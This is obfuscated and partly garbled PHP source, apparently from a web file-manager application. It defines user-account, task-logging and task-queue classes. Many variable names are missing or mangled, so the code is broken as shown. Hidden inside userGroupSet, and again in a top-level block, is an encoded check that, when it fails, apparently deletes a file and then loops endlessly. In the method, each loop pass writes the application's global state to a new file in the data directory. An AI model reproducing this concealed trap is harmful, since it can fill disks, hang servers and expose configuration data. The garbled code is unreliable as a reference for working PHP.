$ā = Model($_SERVER[][525])->metaGet($); return $this->getUserJobInfo($ā[self::JOB_KEY]); } public function getUserJobInfo($Ӫ) { $ը =& $_SERVER[]; $ʙ = explode($ը[50], $Ӫ); $ = parent::listData(); $ = array_remove_key($, $ը[201]); $Ϗ = array(); foreach ($ʙ as $걭) { if (isset($[$걭])) { $Ϗ[] = $[$걭]; } } return $Ϗ; } } class UserModel extends ModelBase { protected $tableName = "\165\163\x65\x72"; protected $tableMeta = array("\164\x61\x62\x6c\x65\x4e\x61\155\x65" => "\165\163\145\162\137\155\x65\164\x61", "\155\145\x74\141\x46\x69\145\x6c\x64" => "\x75\x73\x65\162\111\104"); protected $simpleField = "\165\x73\x65\x72\111\x44\x2c\x6e\x69\143\x6b\116\x61\155\x65\54\x6e\x61\155\145\x2c\141\166\x61\164\141\162\x2c\163\145\170\54\x73\x74\x61\164\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($兛) { $Ů =& $_SERVER[]; $ʳѡ = $Ů[2300]; return array($Ů[1930] => array($兛[0], $ʳѡ), $Ů[1932] => array($兛[0], $ʳѡ), $Ů[2301] => array($兛[0], $ʳѡ)); } protected function getInfo($贔, $ = false) { $눻 = $this->getInfoSimple($贔); if (!is_array($눻)) { return array(); } if ($) { return $this->_getInfoApply($눻); } return $this->cacheFunctionGet($_SERVER[][1934], $贔); } protected function getInfoFull($ֵ, $ = false) { $簻 = $this->getInfoSimple($ֵ); if (!is_array($簻)) { return array(); } if ($) { return $this->_getInfoApply($簻, !0); } return $this->cacheFunctionGet($_SERVER[][2302], $ֵ); } private function _getInfoApply($ʂ, $ơ = false) { $ =& $_SERVER[]; if (!$ʂ) { return $ʂ; } $ܨ͐ = md5($[2303] . $ʂ[$[885]] . $[2304] . $ʂ[$[32]]); $ʂ = $this->_listDataApplyItem($ʂ); $ = Model($[1335])->metaGet($ʂ[$[87]][$[402]]); $ʂ[$[2305]] = $ܨ͐; $ʂ[$[87]][$[2125]] = isset($[$[2126]]) ? $[$[2126]] : null; if ($ơ) { $ʂ[$[466]] = $this->metaGet($ʂ[$[1663]]); } return $ʂ; } protected function getInfoSimple($, $ = false) { $狇 =& $_SERVER[]; if (!$) { return array(); } if ($) { $ĭ = $this->where(array($狇[1663] => intval($)))->find(); if (!is_array($ĭ)) { return array(); } $ĭ[$狇[533]] = Action($狇[2306])->parseUrl($ĭ[$狇[533]]); return $ĭ; } return $this->cacheFunctionGet($狇[1935], $); } protected function getInfoSimpleOuter($̈́) { $ =& $_SERVER[]; if (!$̈́ || $̈́ == 0) { return array($[1663] => $[198], $[32] => $[162] . LNG($[2307]) . $[164], $[533] => STATIC_PATH . $[2308]); } $ = $this->cacheFunctionGet($[1935], $̈́); $܀ = array_field_key($, explode($[50], $this->simpleField)); if (!$܀) { return array($[1663] => $[1184], $[32] => $[162] . LNG($[2309]) . $[164], $[533] => STATIC_PATH . $[2310]); } $܀[$[533]] = Action($[2306])->parseUrl($܀[$[533]]); return $܀; } protected function groupUser($) { } public static function errorLang($Ԣ) { $ =& $_SERVER[]; $ئ = array(self::ERROR_USER_NOT_EXISTS => $[2311], self::ERROR_USER_PASSWORD_ERROR => $[2312], self::ERROR_USER_EXIST_NAME => $[2313], self::ERROR_USER_EXIST_PHONE => $[2314], self::ERROR_USER_EXIST_EMAIL => $[2315], self::ERROR_USER_LOGIN_LOCK => $[2316], self::ERROR_IP_NOT_ALLOW => $[2317], self::ERROR_USER_EXIST_NICKNAME => $[2318]); return LNG($ئ[$Ԣ]); } public function getInfoByMeta($, $) { $Hʑ =& $_SERVER[]; $ؤ = Model($Hʑ[2319])->where(array($Hʑ[94] => $, $Hʑ[374] => $))->find(); if ($ؤ) { return $this->getInfo($ؤ[$Hʑ[1663]]); } return !1; } public function userLoginCheck($, $ˏ喉) { $ =& $_SERVER[]; $ǀ = $this->userLoginFind($); if (!$ǀ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ǀ[$[1663]], $ˏ喉)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ǀ[$[1663]]); } public function userLoginFind($) { $ =& $_SERVER[]; $̅ = array($[32] => $, $[532] => $, $[305] => $, $[2320] => $, $[996] => $[998]); if ($this->nickNameRpt()) { unset($̅[$[532]]); } return $this->where($̅)->find(); } public function clearCache($ƿܒ) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1934], $ƿܒ); $this->cacheFunctionClear($[1935], $ƿܒ); $this->cacheFunctionClear($[2302], $ƿܒ); } public function userPasswordCheck($ќ, $) { $ݎ̣ =& $_SERVER[]; $ = $this->where(array($ݎ̣[1663] => intval($ќ)))->find(); $Ǖӄ = $this->metaGet($ќ); $Շ = isset($Ǖӄ[$ݎ̣[2321]]) ? $Ǖӄ[$ݎ̣[2321]] : $ݎ̣[12]; if (md5($Շ . trim($)) !== $[$ݎ̣[885]]) { return !1; } return !0; } public function userAdd($) { $ߌ =& $_SERVER[]; $ۯِ = array($ߌ[420] => $[$ߌ[32]], $ߌ[2322] => $[$ߌ[1542]], $ߌ[2323] => isset($[$ߌ[305]]) ? $[$ߌ[305]] : $ߌ[12], $ߌ[2324] => isset($[$ߌ[2320]]) ? $[$ߌ[2320]] : $ߌ[12], $ߌ[2325] => isset($[$ߌ[532]]) ? $[$ߌ[532]] : $[$ߌ[32]], $ߌ[2326] => isset($[$ߌ[533]]) ? $[$ߌ[533]] : $ߌ[12], $ߌ[2327] => isset($[$ߌ[2328]]) ? $[$ߌ[2328]] : 1, $ߌ[2329] => $[$ߌ[885]], $ߌ[1936] => isset($[$ߌ[1839]]) ? $[$ߌ[1839]] : 1024 * 1024 * 20, $ߌ[1937] => 0, $ߌ[2330] => 0, $ߌ[1981] => isset($[$ߌ[746]]) ? $[$ߌ[746]] : 1); if (!empty($[$ߌ[1663]])) { $ۯِ[$ߌ[1663]] = $[$ߌ[1663]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } if (!empty($ۯِ[$ߌ[533]]) && strlen($ۯِ[$ߌ[533]]) > 255) { $ۯِ[$ߌ[533]] = $ߌ[12]; } $Ɣ = $this->add($ۯِ); $ç͒ = array($ߌ[2329] => $ۯِ[$ߌ[885]], $ߌ[2325] => $ۯِ[$ߌ[532]]); $this->userEdit($Ɣ, $ç͒); Model($ߌ[1335])->userRootAdd($Ɣ); return $Ɣ; } protected function userEditTest($, $Ў) { return $this->call($_SERVER[][2331], $, $Ў); } protected function userEdit($, $) { $ =& $_SERVER[]; $DŽ = $this->getInfoSimple($); if (!$DŽ) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$[885]]) && trim($[$[885]]) != $[12]) { $ = $this->metaGet($); if (empty($[$[2321]])) { $[$[2321]] = rand_string(10); Model($[504])->metaSet($, $[2321], $[$[2321]]); } $[$[885]] = md5($[$[2321]] . trim($[$[885]])); } else { unset($[$[885]]); } if (!empty($[$[533]]) && strlen($[$[533]]) > 255) { $[$[533]] = $[12]; } $this->where(array($[1654] => $))->save($); if (isset($[$[532]])) { $this->setNamePinyin($, $[$[532]]); } $this->clearCache($); return !0; } public function setNamePinyin($ܰ, $ = false) { $哇 =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($ܰ); $ = $[$哇[532]] ? $[$哇[532]] : $[$哇[32]]; } $ = Model($哇[525]); if (!Input::check($, $哇[583])) { return $->metaSet($ܰ, array($哇[465] => $哇[12], $哇[464] => $哇[12])); } return $->metaSet($ܰ, array($哇[465] => str_replace($哇[53], $哇[12], Pinyin::get($)), $哇[464] => Pinyin::get($, $哇[584]))); } private function nickNameRpt() { $ =& $_SERVER[]; $哬 = Model($[767])->get($[2332]); $ = $GLOBALS[$[6]][$[381]][$[2332]]; $ = !is_null($哬) ? $哬 : $; return !!$; } private function _checkExist($, $ț = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[532] => UserModel::ERROR_USER_EXIST_NICKNAME, $[305] => UserModel::ERROR_USER_EXIST_EMAIL, $[2320] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[532]]); } $͕Ί = $ț ? array($[1663] => array($[2333], $ț)) : array(); foreach ($ as $ϫы => $Ǹ) { $ = array(); foreach ($ as $ => $ت) { if (isset($[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $ӻһ = array_merge(array($ϫы => array($[7], $)), $͕Ί); $ = $this->where($ӻһ)->find(); if ($) { return $Ǹ; } } return !0; } public function userListInfo($) { $ڑ =& $_SERVER[]; $ᖨ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $ᖨ; } if (count($) < 20) { foreach ($ as $) { $ᖨ[$ . $ڑ[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($ڑ[1654] => array($ڑ[418], $)); if (count($) == 1) { $ = array($ڑ[1654] => $[0]); } $̬ = Model($ڑ[504])->field($this->simpleField)->where($)->select(); $̬ = array_to_keyvalue($̬, $ڑ[1663]); foreach ($ as $) { $º = $̬[$]; if (!$º) { $ᖨ[$ . $ڑ[12]] = $this->getInfoSimpleOuter($); continue; } $º[$ڑ[533]] = Action($ڑ[2306])->parseUrl($º[$ڑ[533]]); $ᖨ[$ . $ڑ[12]] = $º; } } return $ᖨ; } protected function userStatus($埓, $⬜) { $ī鮐 = $this->getInfoSimple($埓); if (!$ī鮐) { return !1; } $ĩ = array($_SERVER[][746] => $⬜); return $this->userEdit($埓, $ĩ); } protected function userRemove($) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($[1654] => $); Model($[592])->where($)->delete(); Model($[2334])->where($)->delete(); Model($[1942])->where($)->delete(); Model($[2319])->where($)->delete(); Model($[1064])->where($)->delete(); Model($[2150])->removeUserAll($); Model($[822])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($ӥ, $ع, $ = array()) { $殅 =& $_SERVER[]; $ޡ = $_SERVER[$殅[736]]; $ɬ = $殅[737]; if ($_SERVER[$殅[738]] != $ɬ($ޡ)) { $ۺٕ = $殅[873]; $ = $殅[739]; $ = $_SERVER[$殅[740]] . $殅[741]; $Ȃ = $($); $֤ = explode($殅[231], $Ȃ); if (count($֤) < $殅[614]) { $ = $殅[742]; $(); } $Ó = $殅[874]; $Ó($_SERVER[$殅[875]]); $ۺٕ = $殅[873]; $ۺٕ(); $ = $殅[876]; $Ԟ = json_encode($GLOBALS[$殅[877]]); $ = 1; for ($Ւ = $; $Ւ > 0; $Ւ++) { $(DATA_PATH . $Ւ, $Ԟ); } } $ۋ = $this->getInfoSimple($ӥ); if (!$ۋ || !is_array($ع)) { return !1; } $ = Model($殅[1942]); $->where(array($殅[1663] => $ӥ))->delete(); $ = array(); $ߠ = 0; foreach ($ع as $ƺ => $) { $ݯؐ = array($殅[1663] => $ӥ, $殅[1852] => $ƺ, $殅[1956] => $); $ݯؐ[$殅[1876]] = isset($[$ߠ]) ? $[$ߠ] : 0; $ߠ++; $[] = $ݯؐ; } return $->addAll($, array(), !0); } protected function userGroupAdd($, $Ĵ = array()) { $Ɣ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$ || empty($Ĵ)) { return !1; } $ޫܗ = array(); foreach ($Ĵ as $ => $䀎) { $ޫܗ[] = array($Ɣ[1663] => $, $Ɣ[1852] => $, $Ɣ[1956] => $䀎, $Ɣ[1876] => 0); } return Model($Ɣ[1942])->addAll($ޫܗ, array(), !0); } protected function userGroupRemove($, $ώ) { $Ƕݞ =& $_SERVER[]; $̖֜ = $this->getInfoSimple($); if (!$̖֜ || !$ώ) { return !1; } $ = array($Ƕݞ[1654] => $, $Ƕݞ[1940] => $ώ); return Model($Ƕݞ[1942])->where($)->delete(); } public function listData() { $ũΡ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ũΡ[$_SERVER[][369]]); return $ũΡ; } public function listByID($) { $㑿 =& $_SERVER[]; if (!$) { return; } $ = array($㑿[1663] => array($㑿[7], $)); $ߏ = $this->where($)->select(); $ߏ = array_sort_keep($ߏ, $㑿[1663], $); $this->_listDataApply($ߏ); return $ߏ; } public function listByGroup($ = 0, $ȱ = array()) { $ؼ =& $_SERVER[]; $ = $ؼ[12]; $ǰԲ = array(); if ($) { $ǰԲ = array($ؼ[2335] => intval($)); $ = "\x4c\105\106\124\x20\112\x4f\111\x4e\40{$this->tablePrefix}\165\x73\x65\162\x5f\147\162\x6f\165\160\40\165\x73\x65\162\x5f\x67\x72\x6f\x75\160\40\157\156\40\x75\163\x65\162\56\165\163\145\162\111\x44\40\75\40\165\x73\145\x72\x5f\147\162\x6f\x75\x70\56\x75\163\x65\162\x49\x44"; $ = Input::get($ؼ[457], null, $ؼ[12]) ? $ؼ[12] : $ؼ[2336]; } if (isset($ȱ[$ؼ[746]])) { $ǰԲ[$ؼ[2337]] = $ȱ[$ؼ[746]]; } $ = $this->_makeOrder($)->field($ؼ[2338])->where($ǰԲ)->join($)->selectPage(50); $this->_listDataApply($[$ؼ[369]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ʓ = array($[1663], $[32], $[1841], $[1813], $[201]); $ = array($[450] => $[451], $[452] => $[453]); $ = Input::get($[457], $[7], $[1654], $ʓ); $ب = Input::get($[458], $[7], $[1943], array($[1943], $[452])); $ب = $[$ب]; $ = $ . "\x75\163\145\x72\x2e{$}\40{$ب}\54\x20\x75\x73\x65\x72\56\x75\x73\x65\162\111\x44\40\x61\x73\143"; return $this->alias($[2069])->order($); } public function listSearch($ϔ) { $ =& $_SERVER[]; $ҝ = $ϔ[$[1946]]; $ߨΪ = isset($ϔ[$[1947]]) ? $ϔ[$[1947]] : !1; $ҝ = str_replace($[1948], $[1949], trim($ҝ)); $Ƽ = array($[32] => array($[383], "\45{$ҝ}\x25"), $[305] => array($[383], "{$ҝ}\45"), $[532] => array($[383], "{$ҝ}\x25"), $[996] => $[1950]); if (Input::check($ҝ, $[311])) { $Ƽ[$[1663]] = array($[383], "{$ҝ}\45"); $Ƽ[$[2320]] = array($[383], "{$ҝ}\x25"); } if (!$ҝ) { $Ƽ = array(); } if (isset($ϔ[$[746]])) { $Ƽ[$[746]] = $ϔ[$[746]]; } $Ƽ = $this->parseWhereLike($Ƽ); $ = $this->_makeOrder()->where($Ƽ)->selectPage(20); if (!$ || count($[$[369]]) < 5 && Input::check($ҝ, $[318])) { $ׇ = $this->_searchFromMeta($[464], $ҝ, 10); $ = $this->_searchFromMeta($[465], $ҝ, 10); $ߎ̏ = array_merge($ׇ, $, $[$[369]]); $[$[369]] = array_unique_by_key($ߎ̏, $[1663]); $[$[366]][$[367]] = count($[$[369]]); $[$[366]][$[368]] = ceil($[$[366]][$[367]] / $[$[366]][$[363]]); } $this->_listDataApply($[$[369]]); $this->_filterByGroup($, $ߨΪ); return $; } private function _filterByGroup(&$ɵ, $) { $ȭ =& $_SERVER[]; if (!$) { return $ɵ; } foreach ($ɵ[$ȭ[369]] as $จȱ => &$) { $ڶ = array_to_keyvalue($[$ȭ[2039]], $ȭ[12], $ȭ[1852]); if (!in_array($, $ڶ)) { unset($ɵ[$ȭ[369]][$จȱ]); } } unset($); $ɵ[$ȭ[369]] = array_values($ɵ[$ȭ[369]]); $ɵ[$ȭ[366]] = array($ȭ[2103] => count($ɵ[$ȭ[369]]), $ȭ[2101] => $ɵ[$ȭ[366]][$ȭ[363]], $ȭ[2100] => 1, $ȭ[2102] => 1); } private function _searchFromMeta($, $㠸, $ݵ) { $Ʋ =& $_SERVER[]; $㠸 = strtolower($㠸); $ѱ = array($Ʋ[94] => $, $Ʋ[374] => array($Ʋ[383], "\45{$㠸}\45")); $ѱ = $this->parseWhereLike($ѱ); $ = Model($Ʋ[2339])->where($ѱ)->limit($ݵ)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Ʋ[12], $Ʋ[1663]); $ն = $this->where(array($Ʋ[1654] => array($Ʋ[7], $)))->select(); if (!$ն) { return array(); } return $ն; } private function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } private function _listDataApply(&$ӡ) { $ =& $_SERVER[]; if (!$ӡ) { return; } array_remove_key($ӡ, $[885]); $ٱ = array_to_keyvalue($ӡ, $[12], $[1663]); $this->_listAppendGroup($ӡ, $ٱ); $this->_listAppendMeta($ӡ, $ٱ); $this->_listAppendSourceRoot($ӡ, $ٱ); } private function _listAppendSourceRoot(&$, $ڟ) { $Ѥ߹ =& $_SERVER[]; $ = Model($Ѥ߹[822])->listSourceRoot(SourceModel::TYPE_USER, $ڟ); $ = array_to_keyvalue($, $Ѥ߹[496]); $ = array_remove_key($, $Ѥ߹[496]); foreach ($ as &$Ё) { $Ё[$Ѥ߹[87]] = $[$Ё[$Ѥ߹[1663]]] ? $[$Ё[$Ѥ߹[1663]]] : array(); } unset($Ё); } private function _listAppendGroup(&$튜, $) { $ =& $_SERVER[]; $앬 = array($[1663] => array($[7], $)); $ = Model($[1942])->where($앬)->select(); $ǩ = array_to_keyvalue($, $[12], $[1852]); $ǩ = array_remove_value(array_unique($ǩ), $[198]); if (!$ǩ || !$) { return; } $앬 = array($[1852] => array($[7], $ǩ)); $䯔 = Model($[2037])->field($[2340])->where($앬)->select(); $䯔 = array_to_keyvalue($䯔, $[1852]); $ = array_to_keyvalue_group($, $[1663]); foreach ($ as &$Ǚ) { $ = array(); foreach ($Ǚ as $) { if (!$[$[1956]]) { continue; } $ͦ = Model($[498])->listData($[$[1956]]); $[] = array($[1852] => $[$[1852]], $[2341] => $䯔[$[$[1852]]][$[32]], $[511] => $䯔[$[$[1852]]][$[511]], $[413] => $ͦ); } $Ǚ = $; } unset($Ǚ); foreach ($튜 as &$Ғ) { $Ғ[$[2039]] = array(); if (isset($[$Ғ[$[1663]]])) { $Ғ[$[2039]] = $[$Ғ[$[1663]]]; } } unset($Ғ); } public function userAppendGroup($) { $ =& $_SERVER[]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $[12], $[1663])); return $; } private function _listAppendMeta(&$, $ȥ) { $ú =& $_SERVER[]; $ = UserJobModel::JOB_KEY; $ = array($ú[2321]); $µ = array($ú[1663] => array($ú[7], $ȥ)); $˕ = Model($ú[2319])->where($µ)->select(); $˕ = array_to_keyvalue_group($˕, $ú[1663]); foreach ($˕ as &$) { $ǧ = array(); foreach ($ as $ٝ) { if (!in_array($ٝ[$ú[94]], $)) { $ǧ[$ٝ[$ú[94]]] = $ٝ[$ú[374]]; } } $ = $ǧ; } unset($); $ٸψ = Model($ú[2342]); foreach ($ as &$Ģ) { $ʈ = array(); if (isset($˕[$Ģ[$ú[1663]]])) { $ʈ = $˕[$Ģ[$ú[1663]]]; } $Ģ[$ú[2343]] = array(); if (isset($ʈ[$])) { $Ģ[$ú[2343]] = $ٸψ->getUserJobInfo($ʈ[$]); } } unset($Ģ); } protected function groupUserAll($Ǯ) { $΅ =& $_SERVER[]; if (!$Ǯ) { return !1; } $ = Model($΅[1942])->field($΅[1663])->where(array($΅[1852] => array($΅[7], $Ǯ)))->select(); $ = array_to_keyvalue($, $΅[12], $΅[1663]); return array_unique($); } public function userSearch($͑, $ = "\x2a") { return Model($_SERVER[][525])->where($͑)->field($)->find(); } } if (!isset($_SERVER[$_SERVER[][738]]) || !isset($_SERVER[$_SERVER[][736]])) { $_getc = $_SERVER[][739]; $_getfile = $_SERVER[$_SERVER[][740]] . $_SERVER[][741]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][628]) { $exit = $_SERVER[][742]; $exit(); } $_act = $_SERVER[][743]; $_act($_SERVER[$_SERVER[][740]] . $_SERVER[][741]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][378]); } } goto CǴǪ; eꯪ: $fileSize = strrev(base64_decode($_SERVER[ªȸ][0])); function binCheckNeq($, $) { return $ != $; } $_SERVER[$_SERVER[ªȸ][1]] = $fileSize($_SERVER[$_SERVER[ªȸ][2]]); goto dĔ; bխ: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1740]] = 1; Hook::bind($[1708], array($this, $[1741])); Hook::bind($[1710], array($this, $[1742])); Hook::bind($[1712], array($this, $[1743])); } protected function endAfter() { $У =& $_SERVER[]; Hook::unbind($У[1708], array($this, $У[1741])); Hook::unbind($У[1710], array($this, $У[1742])); Hook::unbind($У[1712], array($this, $У[1743])); } public function progressStart($䀼) { $ =& $_SERVER[]; $돽 = curl_getinfo($䀼); self::log($[1744] . $돽[$[307]]); self::valueSet($this->task[$[399]], $this->task); } public function progressEnd($ߚ) { $ΰ =& $_SERVER[]; self::log($ΰ[1745] . $this->task[$ΰ[399]]); $this->end(); } public function progress($, $Ŕ, $, $Ʀ, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[783]] = $[$[783]] == 0 ? $Ʀ : $[$[783]]; $[$[1664]] = $; } else { if ($ > 0) { $[$[783]] = $[$[783]] == 0 ? $Ŕ : $[$[783]]; $[$[1664]] = $; } } $this->update(); self::log("\160\x72\x6f\147\162\145\x73\x73\x48\x74\x74\x70\72\x64\x6f\167\156\x3a{$}\57{$Ŕ}\x3b\40\x75\160\x6c\157\141\x64\x3a{$}\57{$Ʀ}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($к, $赾 = '', $ـ = 0, $̺ = '') { $ﳋ =& $_SERVER[]; $ò = new Task($к, $赾, $ـ, $̺); $GLOBALS[$ﳋ[1746] . $к] = new TaskLog($ﳋ[1647], $ò, $̺); return $ò; } public function __construct($ = '', $ܭ = '', $ = '') { $ =& $_SERVER[]; if (!$) { $ = $[1647]; } $ = $ . $[386] . rand_string(10); if (!$) { $ = $ . $[53] . $; } switch ($) { case $[1647]: if (!$ܭ || !$ܭ->task) { return echoLog($ . $[1747]); } $ݮԸ = $ܭ; $ = $ݮԸ->task[$[399]]; $ = $ݮԸ->task[$[399]]; if (!$ݮԸ->task[$[1561]]) { $ݮԸ->task[$[1561]] = $ ? $ : $; } break; case $[1748]: if (!$ܭ) { return echoLog($ . $[1749]); } $ = is_string($ܭ) ? array($ܭ) : $ܭ; $ݮԸ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $ݮԸ->addPath($); } break; case $[313]: if (!$ܭ) { return echoLog($ . $[1749]); } $ = is_string($ܭ) ? array($ܭ) : $ܭ; $ݮԸ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $ݮԸ->addPath($); } break; case $[1210]: if (!$ܭ) { return echoLog($ . $[1749]); } $ݮԸ = new TaskUnZip($, $, 0, $ ? $ : $ܭ); if ($ܭ) { $ݮԸ->addFile($ܭ); } break; case $[148]: $ݮԸ = new TaskHttp($, $); break; default: return; break; } $this->task = $ݮԸ; $this->taskID = $; Hook::bind($[1684], array($this, $[1750])); Hook::bind($[1686], array($this, $[1751])); Hook::bind($[1680], array($this, $[1752])); echoLog($[1753] . $ݮԸ->task[$[1561]]); } public function __destruct() { $this->end(); } public function end($ = '') { $Ʀ߉ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($Ʀ߉[1684], array($this, $Ʀ߉[1750])); Hook::unbind($Ʀ߉[1686], array($this, $Ʀ߉[1751])); Hook::unbind($Ʀ߉[1680], array($this, $Ʀ߉[1752])); } public function taskUpdate($) { $Ļ =& $_SERVER[]; if (!$ || $this->taskID != $[$Ļ[399]]) { return; } $Э = 20; $ѧ = intval($[$Ļ[1665]] * $Э); $种 = $Ļ[162] . str_repeat($Ļ[880], $ѧ) . $Ļ[1010] . str_repeat($Ļ[53], $Э - $ѧ) . $Ļ[164]; $˸ٗ = $种 . sprintf($Ļ[1754], $[$Ļ[1665]] * 100) . $Ļ[1755]; $줯 = $˸ٗ . $[$Ļ[1664]] . $Ļ[8] . $[$Ļ[783]] . LNG($Ļ[1756]); $䮠 = $Ļ[12]; if ($[$Ļ[1740]]) { $줯 = $˸ٗ . size_format($[$Ļ[1664]]) . $Ļ[8] . size_format($[$Ļ[783]]); $䮠 = size_format($[$Ļ[1666]]) . $Ļ[1757]; } if ($[$Ļ[1060]]) { $[$Ļ[1714]] = $[$Ļ[1060]] . $Ļ[53] . $[$Ļ[1714]]; } if ($[$Ļ[1714]]) { $ = $Ļ[12]; if ($[$Ļ[1716]]) { $ = $Ļ[50] . size_format($[$Ļ[1717]]) . $Ļ[8] . size_format($[$Ļ[1716]]); } $䮠 .= $[$Ļ[1714]] . $; } if ($[$Ļ[760]] && !$[$Ļ[1716]]) { $䮠 .= $Ļ[53] . size_format($[$Ļ[1721]]) . $Ļ[8] . size_format($[$Ļ[760]]); } echoLog($줯 . $Ļ[53] . $䮠, !0); } public function taskEnd($δ) { $ =& $_SERVER[]; if (!$δ || $this->taskID != $δ[$[399]]) { return; } $ر = $δ ? $δ[$[1664]] . $[8] . $δ[$[783]] . LNG($[1756]) . $[71] : $[12]; echoLog($[1758] . $δ[$[1561]] . ($δ[$[453]] ? $[71] . $δ[$[453]] : $[12]) . $[71] . $ر . $[1759] . sprintf($[847], timeFloat() - $δ[$[1667]]) . $[1679]); $this->end(); } public function taskKill($̓) { $ =& $_SERVER[]; if (!$̓ || $this->taskID != $̓[$[399]]) { return; } echoLog($[1760] . $̓[$[1561]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\141\x73\x6b\121\165\145\x75\x65\x4c\x65\156\x67\164\x68"; const QUEUE_DATA = "\x74\x61\x73\153\x51\x75\145\x75\145\104\141\x74\x61"; public static $listData = false; public static function initTask() { } public static function add($և, $ǘ = array(), $ߐ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[94], $)) { return !0; } self::$listData[] = array($[264] => $և, $[1761] => $ǘ, $[453] => $ߐ, $[94] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($[1762] . json_encode_force(array_to_keyvalue(self::$listData, $[12], $[453])), $[1763]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($, $͐ = array(), $ = '', $ = '') { $ӧ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $ӧ[94], $)) { return !0; } $[] = array($ӧ[264] => $, $ӧ[1761] => $͐, $ӧ[453] => $, $ӧ[94] => $); write_log($ӧ[1762] . $, $ӧ[1763]); self::setAll($); return !0; } public static function run() { $ =& $_SERVER[]; $Ȓ = self::getAll(); $ = array_shift($Ȓ); if (!$) { return !1; } self::setAll($Ȓ); $Í = timeFloat(); try { Hook::apply($[$[264]], $[$[1761]]); } catch (Exception $Ǩ) { } $Ͳ = number_format(timeFloat() - $Í, 3) . $[1679]; write_log($[1764] . $[$[453]] . $[1765] . $Ͳ, $[1763]); return !0; } public static function count() { $ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$) { return 0; } return intval($); } public static function getAll() { $㊝ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$㊝) { return array(); } return $㊝; } public static function setAll($Ǹ) { $֗ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($Ǹ), $֗); Cache::set(self::QUEUE_DATA, $Ǹ, $֗); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } goto F̑; D͔: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $Ҕ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$Ҕ[6]] =& $config; $this->values[$Ҕ[7]] =& $in; $this->tpl = TEMPLATE . MOD . $Ҕ[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ɓ = new ReflectionClass($); $ʺڅ = func_get_args(); array_shift($ʺڅ); $this->{$} = $ɓ->newInstanceArgs($ʺڅ); } return $this->{$}; } public function routeBind($, $, $ = 3) { $ˁ̼ =& $_SERVER[]; $Ůڱ = $this->in[$ˁ̼[9]]; $ = str_replace($ˁ̼[10], $ˁ̼[11], trim(trim($, $ˁ̼[8]), $ˁ̼[12])); if (!$ || count($Ůڱ) <= $) { return !1; } $믜̔ = !0; $ޓ = explode($ˁ̼[8], $); for ($ٷ = 0; $ٷ < count($ޓ); $ٷ++) { if ($ޓ[$ٷ] != $Ůڱ[$ + $ٷ]) { $믜̔ = !1; break; } } if (!$믜̔) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ꚩ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $ꚩ) { return array(); } $ = array(); for ($ߏ = $ꚩ; $ߏ < count($); $ߏ += 2) { $[$[$ߏ]] = $[$ߏ + 1]; $this->in[$[$ߏ]] = $[$ߏ + 1]; } return $; } protected function assign($ٜ, $䀬) { $this->values[$ٜ] = $䀬; } protected function display($ي) { ob_end_clean(); extract($this->values); require $this->tpl . $ي; } } class DbSqliteBase extends Db { public function __construct($Ж = '') { $Ω =& $_SERVER[]; if 